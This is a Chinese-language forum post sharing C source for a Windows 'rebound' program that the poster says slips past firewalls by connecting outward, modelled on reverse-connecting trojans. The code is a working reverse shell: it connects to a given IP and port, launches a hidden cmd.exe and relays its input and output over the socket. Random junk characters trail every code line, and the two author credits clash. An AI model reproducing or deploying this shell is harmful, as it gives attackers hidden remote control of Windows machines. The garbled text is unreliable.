这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V\Cu|m&HI
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/* ============================== `#E1FB2M
Rebound port in Windows NT AKejWh
By wind,2006/7 {O[a+r.n
===============================*/ N.l+9L0b
#include "xi)GH]H_
#include )L<NW{
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#pragma comment(lib,"wsock32.lib") 3t)07(x_B
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void OutputShell(); !SMIb(~[z
SOCKET sClient; 4,`Yx s)%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vm_+U*%c
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void main(int argc,char **argv) mY+Jju1
{ km|;T!
WSADATA stWsaData; ] K3^0S/
int nRet; TW"
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SOCKADDR_IN stSaiClient,stSaiServer; n>"0y^v
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if(argc != 3) mR)Xq=
{ VE`5bD+%e
printf("Useage:\n\rRebound DestIP DestPort\n"); Ys|tGU
return; .i)
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} <j+DY@*
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WSAStartup(MAKEWORD(2,2),&stWsaData); /PafIq
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~xerZQgc
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stSaiClient.sin_family = AF_INET; w^6rgCl
stSaiClient.sin_port = htons(0); `A_CLVE
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); GWsvN&nr
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ycz6-kEp
{ )"`(+Ku&c
printf("Bind Socket Failed!\n"); ph
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return; wuRQ
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} Z]V^s8>
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stSaiServer.sin_family = AF_INET; ["TUSf]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gdPv,p19L
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); R*|y:T,H
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &@p _g8r#
{ c6.S jV
printf("Connect Error!"); (NR8B9qLN
return; :m#[V7
} c>!zJAB
OutputShell(); *-'u(o
} T a8;
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void OutputShell() ce7$r*@!
{ E!nEB(FD
char szBuff[1024]; va 7I_J
SECURITY_ATTRIBUTES stSecurityAttributes; jeXP|;#Una
OSVERSIONINFO stOsversionInfo; C,r[H5G#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a|?&
STARTUPINFO stStartupInfo; ,<Zu4bww
char *szShell; ,j E'd'$
PROCESS_INFORMATION stProcessInformation; Fjch<gAofS
unsigned long lBytesRead; &\),V 1"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zW.I7Z0^
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ldk (zAB.
stSecurityAttributes.lpSecurityDescriptor = 0; <cS"oBh&u0
stSecurityAttributes.bInheritHandle = TRUE; cetHpU,
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 14>WpNN
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tQ~vLPi$
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w{TZN{Y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {x_SnZz &
stStartupInfo.wShowWindow = SW_HIDE; #@%DY*w]v
stStartupInfo.hStdInput = hReadPipe; iXLODuI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kd55y
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GetVersionEx(&stOsversionInfo); E0HXB1"
}9=X*'BO
switch(stOsversionInfo.dwPlatformId) -7-r~zmr
{ ^#i3JMq
case 1: 9lXjB_wG>
szShell = "command.com"; } V *
break; .Z?@;2<l
default: 0APh=Alq
szShell = "cmd.exe"; ^i+ d 3
break; _C"=Hy{
} C.]\ 4e
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :DWvH,{+&
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send(sClient,szMsg,77,0); b-!+Q)
while(1) p}}pq~EH/
{ x;N@_FZ7KY
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J)o.@+Q}
if(lBytesRead) c?(;6$ A
{ #dO8) t
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qe^d6
send(sClient,szBuff,lBytesRead,0); fG dT2}gd
} mv1g2f+
else JJC YM
{ xD.Uh}:J
lBytesRead=recv(sClient,szBuff,1024,0); +|0f7RB+R
if(lBytesRead<=0) break; 2><=U7~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /6fa
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} X%X`o%AqC
} =:fN
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return; 1PGY/c
}